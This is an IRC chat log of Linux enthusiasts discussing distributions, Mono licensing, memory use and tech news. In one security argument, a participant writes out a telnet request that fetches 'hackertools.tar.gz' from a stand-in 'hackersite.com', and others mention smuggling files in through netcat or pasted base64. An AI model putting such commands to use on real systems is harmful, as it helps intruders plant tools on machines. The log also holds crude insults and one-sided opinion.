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| DaemonFC | lol | Aug 02 00:04 |
| DaemonFC | "Billg typically has his eyes closed and he’s rocking back and forth. He could be asleep; he could be thinking about something else; he could be listening intently to everything you’re saying. The trouble is all are possible and you don’t know which. Obviously, you have to present as if he were listening intently even though you know he isn’t looking at the PowerPoint slides you spent so much time on." | Aug 02 00:04 |
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| DaemonFC | hmmm, the splogs are now pushing that Mono runs on OS X | Aug 02 00:09 |
| DaemonFC | barely giving Linux a mention | Aug 02 00:09 |
| DaemonFC | "The original Mono Tools for Visual Studio was focused on building applications to run as appliances using SUSE Studio. But since then the focus has been on broadening the market, so a version for Red Hat shipped with Version 2.7 and one for Ubuntu is in the works." | Aug 02 00:10 |
| DaemonFC | joy | Aug 02 00:10 |
| schestowitz | MonoMonoMonoMonoMonoMonoMonoMonoMonoMonoMonoMono | Aug 02 00:19 |
| MinceR | another gnome-do replacement >> http://kaizer.se/wiki/kupfer/ | Aug 02 00:19 |
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| schestowitz | DaemonFC: how would KDE4 cope with 512MB of RAM? | Aug 02 00:20 |
| schestowitz | I want to experiment with PCLOS on another machine | Aug 02 00:20 |
| DaemonFC | you'd be looking at quite a lot of swap usage | Aug 02 00:20 |
| DaemonFC | :) | Aug 02 00:20 |
| schestowitz | CPU around 2.2Ghz (one core) | Aug 02 00:21 |
| schestowitz | DaemonFC: tolerable for use? | Aug 02 00:21 |
| DaemonFC | doubtful | Aug 02 00:21 |
| schestowitz | Like Firefox and mail... | Aug 02 00:21 |
| -BNtwitter/#boycottnovell-[wikileaks] Behind the WikiLeaks scoop | Guardian http://bit.ly/9S2NQN http://bit.ly/cpxJWC | Aug 02 00:21 | |
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| DaemonFC | it regularly uses over a GB for me | Aug 02 00:21 |
| DaemonFC | not counting cache | Aug 02 00:21 |
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| cubezzz3 | I try to see how little ram I can do things in | Aug 02 00:22 |
| cubezzz3 | 256 + 64 meg on this box | Aug 02 00:22 |
| cubezzz3 | I'd just switch to 486 for IRC except for the clipboarding | Aug 02 00:24 |
| cubezzz3 | as for 512 meg, it's not really necessary | Aug 02 00:25 |
| cubezzz3 | 384 meg is fine | Aug 02 00:25 |
| cubezzz3 | just don't use KDE 4 or higher | Aug 02 00:26 |
| cubezzz3 | there's features in older Linux that don't even exist in newer Linux | Aug 02 00:26 |
| cubezzz3 | the only way to see all the features is to run lots of different Linuxes from different eras | Aug 02 00:27 |
| cubezzz3 | Show_Memory Shift-Scrollock | Aug 02 00:28 |
| cubezzz3 | not in newer Linux AFAIK | Aug 02 00:28 |
| schestowitz | Which one would you run for half a gig of RAM? | Aug 02 00:29 |
| schestowitz | Needs modern browser | Aug 02 00:29 |
| schestowitz | Needs qt+gtk | Aug 02 00:29 |
| schestowitz | That fattens it a bit | Aug 02 00:29 |
| schestowitz | OK, feelin' tired. | Aug 02 00:29 |
| cubezzz3 | hmmm? links for one | Aug 02 00:30 |
| cubezzz3 | part of the trouble is the browser you're using | Aug 02 00:30 |
| cubezzz3 | for KDE I would probably use either 3.5.10 or if you wanted to save more ram 3.4.2 | Aug 02 00:30 |
| schestowitz | Not secure | Aug 02 00:31 |
| schestowitz | I think crackers and hackers don't feel like exposing hole in KDE more often | Aug 02 00:31 |
| schestowitz | It would just upset volunteers | Aug 02 00:31 |
| cubezzz3 | what's not secure about it specifically? | Aug 02 00:32 |
| cubezzz3 | btw, my 2.2 box is the most secure box I have | Aug 02 00:32 |
| cubezzz3 | no script languages like perl, or python | Aug 02 00:32 |
| tessier_ | What do perl or python have to do with security of your box? | Aug 02 00:33 |
| MinceR | gn | Aug 02 00:33 |
| cubezzz3 | less stuff to worry about | Aug 02 00:34 |
| cubezzz3 | no lwp-download for starters | Aug 02 00:34 |
| cubezzz3 | no lwp-rget | Aug 02 00:35 |
| tessier_ | I still don't see what that has to do with security. | Aug 02 00:35 |
| cubezzz3 | those are ways for hackers to get a file on your box | Aug 02 00:36 |
| tessier_ | From remote? | Aug 02 00:36 |
| cubezzz3 | yes | Aug 02 00:36 |
| tessier_ | I have both of those. Put a file on my system. | Aug 02 00:36 |
| tessier_ | http://tracyreed.org | Aug 02 00:36 |
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| cubezzz3 | I don't hack boxes though | Aug 02 00:37 |
| cubezzz3 | not my thing | Aug 02 00:37 |
| tessier_ | I think you are confused. | Aug 02 00:37 |
| tessier_ | In order to be able to use those libraries the attacker must already be on or control your system. | Aug 02 00:37 |
| tessier_ | At which point it does not matter what library you have installed. | Aug 02 00:37 |
| tessier_ | If you lack anything they would like to have they can just install it themselves. | Aug 02 00:38 |
| tessier_ | telnet hackersite.com 80 | Aug 02 00:38 |
| tessier_ | GET /hackertools.tar.gz HTTP/1.1 | Aug 02 00:38 |
| tessier_ | Done. | Aug 02 00:38 |
| MinceR | they could just paste the file into your shell | Aug 02 00:38 |
| tessier_ | No need for fancy libraries. | Aug 02 00:38 |
| MinceR | or use netcat | Aug 02 00:38 |
| tessier_ | Right | Aug 02 00:38 |
| MinceR | or paste a base64 decoder shell script, and then paste a base64 encoded file | Aug 02 00:38 |
| cubezzz3 | shell account tessier | Aug 02 00:38 |
| MinceR | which could of course be wget :> | Aug 02 00:38 |
| cubezzz3 | they could be a user already | Aug 02 00:38 |
| tessier_ | cubezzz3: What about a shell account? | Aug 02 00:38 |
| tessier_ | So if they have a shell account on your system how would lack of lwp stop them? | Aug 02 00:39 |
| cubezzz3 | they can't steal your net bandwidth | Aug 02 00:39 |
| tessier_ | They have a shell already right? So why couldn't they? | Aug 02 00:39 |
| cubezzz3 | no access to a compiler, no acces to net software | Aug 02 00:40 |
| cubezzz3 | no access to telnet | Aug 02 00:40 |
| tessier_ | They can easily install any of that stuff if they want it. | Aug 02 00:41 |
| cubezzz3 | how could they do that? | Aug 02 00:41 |
| tessier_ | From a shell? A million different ways. Heck, they could type it in by hand if they had to! | Aug 02 00:41 |
| tessier_ | Not that they would ever have to do that. | Aug 02 00:41 |
| tessier_ | They could upload straight via the terminal | Aug 02 00:41 |
| cubezzz3 | yet people do offer free shell accounts | Aug 02 00:42 |
| tessier_ | cat > telnet | Aug 02 00:42 |
| tessier_ | upload | Aug 02 00:42 |
| tessier_ | done | Aug 02 00:42 |
| tessier_ | Sure they do. | Aug 02 00:42 |
| tessier_ | Nothing wrong with people on your shell account using lwp to download stuff. | Aug 02 00:42 |
| tessier_ | Or using telnet or compiling. | Aug 02 00:42 |
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| tessier_ | Removing that stuff is far more likely to piss off your users than inconvenience any attacker. | Aug 02 00:42 |
| cubezzz3 | I think most people wouldn't offer that for free tessier_ | Aug 02 00:43 |
| tessier_ | I'm not sure what free shell accounts have to do with anything. | Aug 02 00:43 |
| tessier_ | All I'm saying is that crippling your box is not making it more secure. | Aug 02 00:43 |
| cubezzz3 | years ago there was no perl | Aug 02 00:45 |
| cubezzz3 | crippling is a nisnomer | Aug 02 00:45 |
| tessier_ | Years ago there was no cable TV either. What's your point? | Aug 02 00:46 |
| cubezzz3 | I'd rather not have perl on some systems | Aug 02 00:47 |
| tessier_ | If it's just a personal preference thing that's fine. Let's just not go around telling people it has anything to do with security. | Aug 02 00:53 |
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| DaemonFC | I may try OpenSuse 11.3 GNOME out of curiosity | Aug 02 00:55 |
| DaemonFC | /home on its own partition makes life better :) | Aug 02 00:56 |
| DaemonFC | who is the narrator on this Shark Week program | Aug 02 00:58 |
| DaemonFC | ? | Aug 02 00:58 |
| DaemonFC | sounds like Malcolm McDowell | Aug 02 00:58 |
| DaemonFC | :P | Aug 02 00:58 |
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| DaemonFC | schestowitz, Why do people dive in shark infested waters then wonder why they get attacked? | Aug 02 01:05 |
| DaemonFC | :P | Aug 02 01:05 |
| DaemonFC | seems to me that if you know the danger and go in anyway, it's your fault whatever happens :) | Aug 02 01:06 |
| DaemonFC | oh well, at least BP cleared them all out of the gulf for a while | Aug 02 01:06 |
| DaemonFC | :) | Aug 02 01:07 |
| DaemonFC | heh, I was right, Malcolm McDowell :P | Aug 02 01:07 |
| DaemonFC | has OpenSuse bought into Empathy yet? | Aug 02 01:08 |
| DaemonFC | craptacular as it may be? | Aug 02 01:08 |
| DaemonFC | at least it finally supports file transfers | Aug 02 01:09 |
| DaemonFC | I can't believe anyone would have merged it without even that :P | Aug 02 01:09 |
| DaemonFC | but they did | Aug 02 01:09 |
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| cubezzz3 | tessier_, ok I respect your opinion | Aug 02 01:30 |
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| cubezzz3 | speaking of security: | Aug 02 02:46 |
| cubezzz3 | http://blog.linuxtoday.com/blog/ | Aug 02 02:46 |
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| DaemonFC | hmmm, OpenSuse GNOME is fairly fast too | Aug 02 02:48 |
| *DaemonFC thinks cubezzz3 could fill in for Justin Bieber in these clips | Aug 02 02:49 | |
| DaemonFC | :) | Aug 02 02:49 |
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| -BNtwitter/#boycottnovell-[einfeldt] Is Microsoft too stuck on the desktop form to make the switch to touch tablets? http://bit.ly/aEyetO via @mkapor | Aug 02 03:25 | |
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| DaemonFC | schestowitz, OpenSuse does have a very nice distribution | Aug 02 03:55 |
| DaemonFC | I have to give them that much | Aug 02 03:55 |
| -BNtwitter/#boycottnovell-[wikileaks] New data on the Nangar Khel massacre http://bit.ly/aFSXRn | Aug 02 03:59 | |
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| DaemonFC | hmmm, OpenSuse is even optimizing their test builds of Firefox | Aug 02 04:02 |
| DaemonFC | nice | Aug 02 04:02 |
| amarsh04 | http://online.wsj.com/article/SB10001424052748703467304575383530439838568.html?mod=djemalertTECH | Aug 02 04:07 |
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| DaemonFC | that's the problem with these companies like Canonical | Aug 02 04:23 |
| DaemonFC | they're using Ubuntu as a carrot on the stick | Aug 02 04:23 |
| DaemonFC | once you're there, Ubuntu's job it to trick you into buying proprietary services | Aug 02 04:24 |
| DaemonFC | *is | Aug 02 04:24 |
| DaemonFC | once your information is on someone else's server, you've forfeited your privacy | Aug 02 04:25 |
| DaemonFC | you can tell their server to delete it and it may even tell you that it did | Aug 02 04:25 |
| DaemonFC | but they can keep a copy as long as they want | Aug 02 04:25 |
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| DaemonFC | hmmm | Aug 02 05:15 |
| DaemonFC | that didn't take them long | Aug 02 05:15 |
| DaemonFC | Banshee now depends on all that crap Microsoft added to Mono | Aug 02 05:15 |
| DaemonFC | http://i49.tinypic.com/oqarsn.jpg | Aug 02 05:28 |
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| DaemonFC | I had God pinned for an Otep fan | Aug 02 05:29 |
| DaemonFC | just goes to show you that you're never too old to learn something | Aug 02 05:29 |
| oiaohm | What license. | Aug 02 05:35 |
| oiaohm | Some of that crap was fine to link to some was not. | Aug 02 05:35 |
| DaemonFC | MS-PL | Aug 02 05:37 |
| DaemonFC | so yeah, those parts have an irrevocable patent license | Aug 02 05:37 |
| DaemonFC | but they still depend on parts that don't | Aug 02 05:37 |
| DaemonFC | but it's not like the licensing situation has gotten worse I guess :P | Aug 02 05:37 |
| DaemonFC | it just hasn't gotten better and now there is actual Microsoft code as a dependency of Banshee | Aug 02 05:38 |
| DaemonFC | :) | Aug 02 05:38 |
| oiaohm | I really don't care who has produced the code DaemonFC | Aug 02 05:40 |
| oiaohm | As long as there are no legal teeth there. | Aug 02 05:40 |
| DaemonFC | right, if they grant you an irrevocable patent license | Aug 02 05:40 |
| DaemonFC | who cares who it came from, I agree | Aug 02 05:40 |
| DaemonFC | if all of Mono were like that, there'd be no problem with it | Aug 02 05:40 |
| oiaohm | Exactly. | Aug 02 05:41 |
| oiaohm | All I want for me to be happy with mono to a point is the legal side cleared up. | Aug 02 05:41 |
| DaemonFC | I'm strongly tempted to stay on OpenSuse now | Aug 02 05:41 |
| DaemonFC | this has to be the best GNOME distribution I've seen | Aug 02 05:41 |
| oiaohm | I have been on debian for over 10 years | Aug 02 05:41 |
| oiaohm | I am not moving any time soon. | Aug 02 05:41 |
| DaemonFC | oiaohm, Everything works well, it's very fast, it has all the software I use, and none of it is failing in bizarre ways | Aug 02 05:42 |
| oiaohm | One set of patches VFS scalablity up coming in 2.6.36 kernel should be intersting. | Aug 02 05:42 |
| DaemonFC | so I don't doubt that Novell has their shit together when it comes to putting a competent distro together | Aug 02 05:43 |
| oiaohm | OpenSuse is mostly run by old Suse staff. | Aug 02 05:43 |
| oiaohm | Really I see no new staff since novell took over suse working on it. | Aug 02 05:44 |
| DaemonFC | yeah, Ubuntu reeks of having been put together backwards by retarded intern-level patch monkeys | Aug 02 05:44 |
| DaemonFC | you can tell OpenSuse was done up by some experienced people | Aug 02 05:44 |
| oiaohm | Ubuntu was formed from a revolt against debian. | Aug 02 05:44 |
| oiaohm | And its not like debian was perfect to start off with. | Aug 02 05:44 |
| DaemonFC | well, Ubuntu started off well | Aug 02 05:44 |
| DaemonFC | but years of me too rubbernecking have derailed it | Aug 02 05:45 |
| DaemonFC | slowly but surely | Aug 02 05:45 |
| oiaohm | No the signs of trouble where there from the start. | Aug 02 05:45 |
| oiaohm | debian maintains too many not upstreamed patches. | Aug 02 05:45 |
| DaemonFC | I was with them from 4.10 to 8.04 no questions asked | Aug 02 05:45 |
| DaemonFC | then around 8.10 it really started to fall apart | Aug 02 05:45 |
| oiaohm | The rouges that left to form Ubuntu were some of the worst at doing it. | Aug 02 05:46 |
| oiaohm | So it was only a matter of time before Ubuntu would start coming appart due to failing to work well with upstream. | Aug 02 05:46 |
| DaemonFC | well, if something has no future upstream, you should drop it | Aug 02 05:46 |
| DaemonFC | before the number of patches you have to apply out of tree snowballs | Aug 02 05:46 |
| DaemonFC | and becomes a mess | Aug 02 05:46 |
| oiaohm | Yep exactly what is happing to ubuntu. | Aug 02 05:47 |
| oiaohm | When ubuntu was new the snowball was small. | Aug 02 05:47 |
| oiaohm | But its growing. | Aug 02 05:47 |
| DaemonFC | right, now they have that indicator crapplet | Aug 02 05:48 |
| DaemonFC | and all the stuff that came before it | Aug 02 05:48 |
| DaemonFC | and not all of it was bad | Aug 02 05:48 |
| DaemonFC | Upstart had merit | Aug 02 05:48 |
| oiaohm | Redhat made the same mistake early on. | Aug 02 05:48 |
| DaemonFC | but I strain to think of anything else that Ubuntu has done that's been a positive for the stack as a whole | Aug 02 05:49 |
| oiaohm | Now they have strict upstreaming rules. | Aug 02 05:49 |
| DaemonFC | Yeah, Red Hat 8.0 was a mess | Aug 02 05:49 |
| oiaohm | To prevent snow balls. | Aug 02 05:49 |
| DaemonFC | and they tried to reduce KDE and GNOME down to a lowest common denominator | Aug 02 05:49 |
| oiaohm | Yep RedHat 8.0 the hair ball from hell. | Aug 02 05:49 |
| DaemonFC | and they ended up ruining both desktops | Aug 02 05:49 |
| DaemonFC | 9.0 got a lot better | Aug 02 05:50 |
| DaemonFC | but it was short lived, officially anyway | Aug 02 05:50 |
| oiaohm | 9.0 was the first redhat with upstream first policy. | Aug 02 05:50 |
| DaemonFC | I used it for several years because of Fedora Legacy though | Aug 02 05:50 |
| oiaohm | Fedora when it branched off did not have it enfored for the first 6 cores. | Aug 02 05:50 |
| DaemonFC | Fedora just hasn't been something to settle down on since Fedora Legacy went away | Aug 02 05:50 |
| oiaohm | Remember the Fedora core 5 hair ball. DaemonFC | Aug 02 05:51 |
| DaemonFC | it used to be you could pick a version of Fedora and sit there for years and get backports | Aug 02 05:51 |
| DaemonFC | and now if you don't upgrade at least once a year, you're out of support | Aug 02 05:51 |
| oiaohm | all bar basic auth would not work. | Aug 02 05:51 |
| oiaohm | Question is when will ubuntu hair ball bad enough they have to take the upstream first policy. | Aug 02 05:52 |
| DaemonFC | well, Fedora is having some issues again | Aug 02 05:52 |
| DaemonFC | and it's with binary drivers so I know they don't give a shit | Aug 02 05:52 |
| oiaohm | No where near a hair ball. | Aug 02 05:52 |
| DaemonFC | and that's why I'm not using Fedora | Aug 02 05:52 |
| oiaohm | That is hardware compadiblity | Aug 02 05:52 |
| DaemonFC | I don't want to play broken, fixed, broken, fixed, do some voodoo I can't possibly repeat, get it working, they break it again | Aug 02 05:52 |
| DaemonFC | it's just not cool | Aug 02 05:52 |
| oiaohm | And legal department at redhat has been a bit bussy. | Aug 02 05:52 |
| oiaohm | Ie the drivers can be added. DaemonFC | Aug 02 05:53 |
| oiaohm | Yes mess but the core applications are not hairballed. | Aug 02 05:53 |
| DaemonFC | well, they change things gratuitously | Aug 02 05:53 |
| oiaohm | So if you get it working it will work fine. | Aug 02 05:53 |
| DaemonFC | just to fuck with people who depend on binary drivers | Aug 02 05:53 |
| DaemonFC | especially with ATI | Aug 02 05:53 |
| DaemonFC | like, they'll change where init goes to look for a module so that the standard ati installer doesn't get it quite right and the system becomes unbootable | Aug 02 05:54 |
| DaemonFC | tell me that's not intentional | Aug 02 05:54 |
| DaemonFC | :P | Aug 02 05:54 |
| oiaohm | Remember Fedora is ment to be a development branch | Aug 02 05:54 |
| oiaohm | For trying out the new code base features. | Aug 02 05:54 |
| oiaohm | So yep hardware compadiblity being upset goes with it. | Aug 02 05:54 |
| DaemonFC | The Early Look ATI support for OpenSuse 11.3/Catalyst 10.7 has been smooth as silk | Aug 02 05:55 |
| DaemonFC | fast, glitch free | Aug 02 05:55 |
| DaemonFC | it's very nice | Aug 02 05:55 |
| oiaohm | Not exactly intentional. | Aug 02 05:55 |
| DaemonFC | with Mandriva I got the fast part but then windows started blacking out on me | Aug 02 05:55 |
| DaemonFC | in patches and title bars disappeared sometimes | Aug 02 05:55 |
| oiaohm | Fedora introducted parall loading of drivers. | Aug 02 05:55 |
| oiaohm | That kinda kill ATI | Aug 02 05:56 |
| DaemonFC | and it just got too weird | Aug 02 05:56 |
| DaemonFC | to speed up the boot process you mean? | Aug 02 05:56 |
| oiaohm | Yep. | Aug 02 05:56 |
| oiaohm | Something other distributions most likely will pick up in time DaemonFC | Aug 02 05:56 |
| DaemonFC | keep the system busy instead of having idle CPU cores and wasted disk I/O while you load things one at a time | Aug 02 05:56 |
| oiaohm | Then ATI drivers will catch up again. | Aug 02 05:56 |
| DaemonFC | right, I get that | Aug 02 05:56 |
| oiaohm | Fedora is a good place to look to see what is coming in the next 1 to 2 years in other distributions. | Aug 02 05:57 |
| DaemonFC | OpenSuse has gotten faster at booting up since the last time I tried it | Aug 02 05:57 |
| DaemonFC | which was like 11.1 | Aug 02 05:57 |
| oiaohm | All of them will. | Aug 02 05:57 |
| oiaohm | VFS change upcoming should change things massively. | Aug 02 05:57 |
| oiaohm | BKL gone from VFS | Aug 02 05:58 |
| oiaohm | I might even throw a party for it. | Aug 02 05:58 |
| DaemonFC | can gstreamer read Apple Lossless? | Aug 02 06:00 |
| DaemonFC | tell me before I waste my time, please :) | Aug 02 06:01 |
| DaemonFC | I only need decode support good enough to transcode | Aug 02 06:01 |
| DaemonFC | hmmm | Aug 02 06:02 |
| DaemonFC | both are two parts, one is WAV | Aug 02 06:02 |
| DaemonFC | Rapidshare counts downloads, not size | Aug 02 06:02 |
| *DaemonFC goes for the WAV | Aug 02 06:02 | |
| -BNtwitter/#boycottnovell-[jonobacon] ♺ @severedfifth: A write-up of some companies that have supported Severed Fifth - http://soc.li/ad2XIqa #severedfifth | Aug 02 06:08 | |
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| -BNtwitter/#boycottnovell-[schestowitz] Another #Microsoft Cancellation as #Xbox Struggles, Loses #Windows Games Compatibility http://ur1.ca/0z1cy | Aug 02 06:46 | |
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| -BNtwitter/#boycottnovell-[jonobacon] Severed Fifth Update - http://is.gd/dXIcZ #severedfifth | Aug 02 06:58 | |
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| -BNtwitter/#boycottnovell-[_goblin] I'm at London Luton Airport (LTN) (Airport Way, Prentice Way, Luton). http://4sq.com/45BArN | Aug 02 07:01 | |
| -BNtwitter/#boycottnovell-[jonobacon] Folks, let's start getting some Ubuntu Global Jam events going! http://is.gd/dXJjz #ubuntu #locoteams | Aug 02 07:01 | |
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| -BNtwitter/#boycottnovell-[schestowitz] #Samsung Captivate Code Released, Novell’s #AppArmor May Enter #Linux 2.6.36 http://ur1.ca/0z21e Some #Ballnux news from last week | Aug 02 07:13 | |
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| DaemonFC | schestowitz, Apparently this month is being particularly unkind to Internet Explorer | Aug 02 07:17 |
| DaemonFC | it could go below 50% of web traffic by next month | Aug 02 07:17 |
| DaemonFC | :D | Aug 02 07:17 |
| DaemonFC | http://gs.statcounter.com/#search_engine-ww-yearly-2008-2010 | Aug 02 07:21 |
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| DaemonFC | There's how much effect Bing has had on Google over the last 2 years | Aug 02 07:21 |
| DaemonFC | Google is that red line that hasn't gone down | Aug 02 07:21 |
| DaemonFC | :) | Aug 02 07:21 |
| DaemonFC | Walmart would have canned Ballmer years ago | Aug 02 07:22 |
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| -BNtwitter/#boycottnovell-[_goblin] RT @schestowitz Another #Microsoft Cancellation as #Xbox Struggles, Loses #Windows Games Compatibility http://ur1.ca/0z1cy | Aug 02 07:43 | |
| TechrightsBot | Title: Another Microsoft Cancellation as Xbox Struggles, Loses Windows Games Compatibility | Techrights .::. Size~: 82.67 KB | Aug 02 07:43 |
| -BNtwitter/#boycottnovell-[jonobacon] I just heard the Mel Gibson recordings. I have never in my entire life heard anything so vile. He needs some serious help. | Aug 02 07:45 | |
| -BNtwitter/#boycottnovell-[_goblin] Having had a collection of issues with Opera, I'm beginning to think that my Android default browser is a better choice. #android | Aug 02 07:51 | |
| -BNtwitter/#boycottnovell-[nsisodiya] _ @pramode_ce I will purchase some ! specially some gas sensor because my nose does not seems to work properly ;) | Aug 02 07:54 | |
| -BNtwitter/#boycottnovell-[jonobacon] Headed to bed. Night everyone! | Aug 02 07:58 | |
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| -BNtwitter/#boycottnovell-[schestowitz] Microsoft's 'American EDGI' Comes to Florida, Fog Computing to US Government http://ur1.ca/0z45r #edgi #fogcomputing | Aug 02 08:13 | |
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| -BNtwitter/#boycottnovell-[glynmoody] Sorry Deathhackers; Life Is Short, And So It Should Be - http://tcrn.ch/aMevnR nicely-written puncturing of a dangerous idea | Aug 02 08:21 | |
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| -BNtwitter/#boycottnovell-[schestowitz] #FUD About #Android and Other #FreeSoftware Projects http://ur1.ca/0z4w6 #IDS #Suricata #idg | Aug 02 08:34 | |
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| -BNtwitter/#boycottnovell-[schestowitz] @_goblin I'm going to Luton in 2+ weeks | Aug 02 08:38 | |
| -BNtwitter/#boycottnovell-[fosspatents] Western civilization runs on the #mainframe. 25% of IBM revenues, 40%+ of IBM profits. http://bit.ly/90YmzQ #antitrust #eu | Aug 02 08:49 | |
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| -BNtwitter/#boycottnovell-[fosspatents] Western civilization runs on the #mainframe. 25% of IBM revenues, 40%+ of #IBM profits. http://bit.ly/90YmzQ #antitrust #eu | Aug 02 08:52 | |
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| -BNtwitter/#boycottnovell-[jwildeboer] 3 people editing on #etherpad using the hotspot from my froyo powered #android phone to solve issues - #priceless. | Aug 02 09:07 | |
| -BNtwitter/#boycottnovell-[glynmoody] RT @newsbrooke I am so fed up with UK public bodies STILL using pdf when they give public data. Not an accident - wilful obstruction>>yup | Aug 02 09:16 | |
| -BNtwitter/#boycottnovell-[fsmag] free software will win, but will you actually ever own the hardware you need to run it? #android #linux http://fsmsh.com/3371 | Aug 02 09:35 | |
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| -BNtwitter/#boycottnovell-[schestowitz] Adoption of #Vista7 is Poor and SP1 Not Out Until Next Year http://ur1.ca/0z7ew So predictable, yet so sad | Aug 02 09:40 | |
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| -BNtwitter/#boycottnovell-[schestowitz] RT@glynmoody @newsbrooke ..so fed up with UK public bodies STILL using pdf when they give public data. Not an accident - wilful obstruction | Aug 02 09:43 | |
| schestowitz | MinceR: http://trippletech.com/news/70-gigapixel-panorama-of-budapest-becomes-worlds-largest-digital-photograph/ | Aug 02 09:46 |
| TechrightsBot | Title: 70-gigapixel panorama of Budapest becomes worlds largest digital photograph | Tripple Tech .::. Size~: 45.45 KB | Aug 02 09:46 |
| schestowitz | http://70gigapixel.cloudapp.net/ | Aug 02 09:47 |
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| schestowitz | Need Silver Lie | Aug 02 09:48 |
| schestowitz | Sponsored by Micro Lie | Aug 02 09:48 |
| schestowitz | Microsoft has conquered Absurdistan('s imagery) | Aug 02 09:49 |
| schestowitz | Lots of Microsoft adverts in /. this weekend, e.g. http://hardware.slashdot.org/story/10/07/31/2040226/Microsoft-Tech-Can-Deblur-Images-Automatically | Aug 02 09:50 |
| TechrightsBot | Title: Slashdot Hardware Story | Microsoft Tech Can Deblur Images Automatically .::. Size~: 155 KB | Aug 02 09:50 |
| MinceR | is that "micro$oft tech" in the same sense as photosynth which they bought after it was completed and then they made it winblows-only? | Aug 02 09:51 |
| -BNtwitter/#boycottnovell-[schestowitz] NYT and WashPo make it sound like they acknowledge a depression http://ur1.ca/0z8a0 http://ur1.ca/0z8a3 | Aug 02 09:59 | |
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| schestowitz | MinceR: yeah :-) | Aug 02 10:04 |
| schestowitz | For NASA too | Aug 02 10:04 |
| schestowitz | "Usually Microsoft doesn't develop products, we buy products." --Microsoft | Aug 02 10:04 |
| MinceR | geekings | Aug 02 10:08 |
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| -BNtwitter/#boycottnovell-[_goblin] @schestowitz meet up? | Aug 02 10:15 | |
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| -BNtwitter/#boycottnovell-[jwildeboer] "Android smart phone shipments grow 886% year-on-year in Q2 2010" http://is.gd/dXYyI #android now at 34% market share in Q2/2010 #impressed | Aug 02 10:18 | |
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| -BNtwitter/#boycottnovell-[schestowitz] @_goblin sure, see E-mail | Aug 02 10:39 | |
| schestowitz | "If this is true it undermines the whole transparency case Assange is making and shames everyone involved. Investigative journalism is not about enabling the enemy to kill more people, regardless of the war disgrace being exposed" http://webmink.com/2010/08/01/links-for-2010-08-01/ | Aug 02 10:39 |
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| -BNtwitter/#boycottnovell-[glynmoody] Firefox Loses Market Share Again: Is That a Problem? - http://bit.ly/cdwO0f nope; here's why #firefox #chrome #ie #browsers | Aug 02 10:42 | |
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| schestowitz | At least he doesn't cite "NetApps" | Aug 02 10:44 |
| schestowitz | http://www.guardian.co.uk/commentisfree/belief/2010/jul/29/religion-witchcraft-sorcery-africa-unicef | Aug 02 10:55 |
| TechrightsBot | Title: Protecting child 'witches' in Africa | Joachim Theis | Comment is free | guardian.co.uk .::. Size~: 115.63 KB | Aug 02 10:55 |
| schestowitz | Child 'witches' | Aug 02 10:55 |
| -BNtwitter/#boycottnovell-[schestowitz] Protests in Greece contribute to further finance risk http://www.guardian.co.uk/travel/2010/jul/29/greece-national-strike-british-tourists | Aug 02 10:55 | |
| TechrightsBot | Title: Greece's national strike threatens chaos for British tourists | World news | The Guardian .::. Size~: 73.08 KB | Aug 02 10:55 |
| -BNtwitter/#boycottnovell-[glynmoody] Space Cadets - http://bit.ly/9rfBQv interesting, as ever: "space colonization is implicitly incompatible with both libertarian ideology" | Aug 02 10:56 | |
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| -BNtwitter/#boycottnovell-[glynmoody] Could the EU Walk Away From ACTA? - http://bit.ly/9ILVG8 too much to hopefor, surely? #eu #acta | Aug 02 10:59 | |
| schestowitz | RNC Embraces Breitbart’s Extremism - "Sarah Palin treated us more than once this month to extremism and intolerance astounding from a leader of a mainstream political party. It’s more than a little disturbing that the party itself is so eager to join her short-sighted embrace of fear tactics and baseless smears." | Aug 02 10:59 |
| schestowitz | http://blog.pfaw.org/content/rnc-embraces-breitbart%E2%80%99s-extremism | Aug 02 10:59 |
| TechrightsBot | Title: RNC Embraces Breitbart’s Extremism | People For the American Way Blog .::. Size~: 23.6 KB | Aug 02 10:59 |
| -BNtwitter/#boycottnovell-[schestowitz] @glynmoody they can just rebrand and reshuffle to pass those same laws, /eventually/ (it's the Golden Rule) | Aug 02 11:01 | |
| schestowitz | http://english.aljazeera.net/news/americas/2010/07/2010730204554257459.html | Aug 02 11:02 |
| TechrightsBot | Title: Iraqis to sue US firm at Abu Ghraib - Americas - Al Jazeera English .::. Size~: 50.23 KB | Aug 02 11:02 |
| schestowitz | RMS: "The US government is an expert on bloody hands. US embassy staff just killed a few Afghans in Kabul with a car, and set off bloody riots. " http://www.stallman.org/archives/2010-may-aug.html#01%20August%202010%20%28Bloody%20hands%29 | Aug 02 11:02 |
| schestowitz | "The useless and unwinnable war will kill more Afghans the longer it continues. Since the Wikileaks revelations have a good chance of ending the war sooner, they will tend to prevent more Afghan casualties than they might cause. " | Aug 02 11:02 |
| schestowitz | http://www.guardian.co.uk/business/2010/jul/30/us-economy-falters-consumer-spending-slows | Aug 02 11:03 |
| TechrightsBot | Title: US economy shows signs of slowdown as consumer spending falters | Business | The Guardian .::. Size~: 184.82 KB | Aug 02 11:03 |
| schestowitz | Second dip | Aug 02 11:03 |
| -BNtwitter/#boycottnovell-[nsisodiya] HTC wildefire at 15299 (free shipping) COD - http://www.flipkart.com/htc-wildfire-black-mobile-mobczq5bgqshnuar #flipkart | Aug 02 11:04 | |
| -BNtwitter/#boycottnovell-[glynmoody] Chinese entrepreneurs in Africa, land of a billion customers - http://bit.ly/cH34DI fascinating, and surely hugely important, stuff #africa | Aug 02 11:04 | |
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| -BNtwitter/#boycottnovell-[jwildeboer] Fighting with dig, nslookup to find out whodunnit with DNS probs. | Aug 02 11:06 | |
| -BNtwitter/#boycottnovell-[glynmoody] @schestowitz sorry, which laws (there's not link back to post)? | Aug 02 11:06 | |
| -BNtwitter/#boycottnovell-[glynmoody] Day One: AFACT v iiNet BitTorrent Piracy Appeal - http://bit.ly/bWy6KA copyright is about keeping lawyers employed... #piracy #copyright | Aug 02 11:07 | |
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| schestowitz | http://www.guardian.co.uk/world/2010/jul/25/task-force-373-secret-afghanistan-taliban | Aug 02 11:10 |
| TechrightsBot | Title: Afghanistan war logs: Task Force 373 – special forces hunting top Taliban | World news | The Guardian .::. Size~: 93.9 KB | Aug 02 11:10 |
| -BNtwitter/#boycottnovell-[schestowitz] @glynmoody ACTA as their containment. The Golden Rule is that those who have the gold (Geffen et al.) make the rules | Aug 02 11:13 | |
| schestowitz | http://www.guardian.co.uk/world/richard-adams-blog/2010/jul/28/arizona-immigration-law-blocked-bolton | Aug 02 11:14 |
| TechrightsBot | Title: Arizona's immigration law blocked by judge | Richard Adams | World news | guardian.co.uk .::. Size~: 176.66 KB | Aug 02 11:14 |
| schestowitz | US turns rather hard core | Aug 02 11:14 |
